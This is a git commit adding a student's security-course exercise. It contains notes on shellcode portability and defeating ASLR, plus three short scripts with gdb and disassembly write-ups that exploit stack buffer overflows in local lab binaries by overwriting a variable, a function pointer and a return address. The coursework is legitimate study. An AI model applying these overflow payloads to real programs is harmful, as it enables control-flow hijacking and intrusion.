feat: sheet7 a1 ef

.gitignore

@@ -5,3 +5,4 @@ passwd
 sheet04/AuthWithTOTP.java
 sheet04/key-exchange.pcap
 sheet06/a2/assign*
+sheet07/a1/assign*

sheet07/a1/e.txt

@@ -0,0 +1,3 @@
+Shellcodes are raw machine instructions executed directly by the CPU, so they must match the specific instruction set architecture.
+To spawn a shell the shellcode has to make system calls to the kernel.
+Because syscall numbers and the CPU registers used to pass arguments vary entirely between different operating systems and architectures, a shellcode written for 32-bit Linux will not work on 64-bit Linux or Windows.

sheet07/a1/f.txt

@@ -0,0 +1,4 @@
+ASLR randomizes the base addresses of memory segments like the stack and shared libraries on every execution.
+To defeat it an information leak vulnerability is usually required to read a valid memory address at runtime.
+Since ASLR only shifts the memory regions as a whole, the relative offsets between functions remain constant.
+By leaking a single pointer the base address can be calculated, which allows computing the exact runtime location of the target function or ROP gadgets.

sheet07/a1/stack-a.sh

@@ -0,0 +1,2 @@
+NUMBER=$(printf "\x74\x69\x6E\x49")
+ENV_VAR="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" "./assignment1a"

sheet07/a1/stack-a.txt

@@ -0,0 +1,3 @@
+I just injected the same thing into the Environment Variable as for the 2d task on the last worksheet. This works the exact same way here.
+
+128 characters of 'A' to be put into the buffer and after that all of the bytes for the number we want to put into the variable.

sheet07/a1/stack-b.sh

@@ -0,0 +1,2 @@
+NUMBER=$(printf "\xDE\x11\x40")
+echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" | ./assignment1b

sheet07/a1/stack-b.txt

@@ -0,0 +1,3 @@
+I went into gdb with the file using `gdb -q assignment1b`. After doing `print success`, I found that 0x4011de is the pointer for the function.
+
+I then created a script similar to 1d and just changed the number we inserted into the variable before into the function pointer. And that worked.

sheet07/a1/stack-c.sh

@@ -0,0 +1,2 @@
+NUMBER=$(printf "\x46\x11\x40")
+echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" | ./assignment1c

sheet07/a1/stack-c.txt

@@ -0,0 +1,20 @@
+After some Google and asking Mr. GPT I found out that the return address is usually stored at the allocated stack size + 8 bytes on x86. So I disassembled assignment1c and found the following assembly code:
+
+   0x0000000000401168 <+0>:	push   %rbp
+   0x0000000000401169 <+1>:	mov    %rsp,%rbp
+   0x000000000040116c <+4>:	sub    $0x90,%rsp
+   0x0000000000401173 <+11>:	lea    -0x90(%rbp),%rax
+   0x000000000040117a <+18>:	mov    %rax,%rdi
+   0x000000000040117d <+21>:	call   0x401040 <gets@plt>
+   0x0000000000401182 <+26>:	mov    0x8(%rbp),%rax
+   0x0000000000401186 <+30>:	mov    %rax,-0x8(%rbp)
+   0x000000000040118a <+34>:	mov    -0x8(%rbp),%rax
+   0x000000000040118e <+38>:	lea    0xe7b(%rip),%rdx        # 0x402010
+   0x0000000000401195 <+45>:	mov    %rax,%rsi
+   0x0000000000401198 <+48>:	mov    %rdx,%rdi
+   0x000000000040119b <+51>:	mov    $0x0,%eax
+   0x00000000004011a0 <+56>:	call   0x401030 <printf@plt>
+   0x00000000004011a5 <+61>:	nop
+   0x00000000004011a6 <+62>:	leave
+
+What we can see here is that with lea we allocate a size of 0x90 = 144 bytes. So with 144 + 8 being 152, I have to write 152 'A' characters and then put in my return address. So that's how the stack-c.sh file works.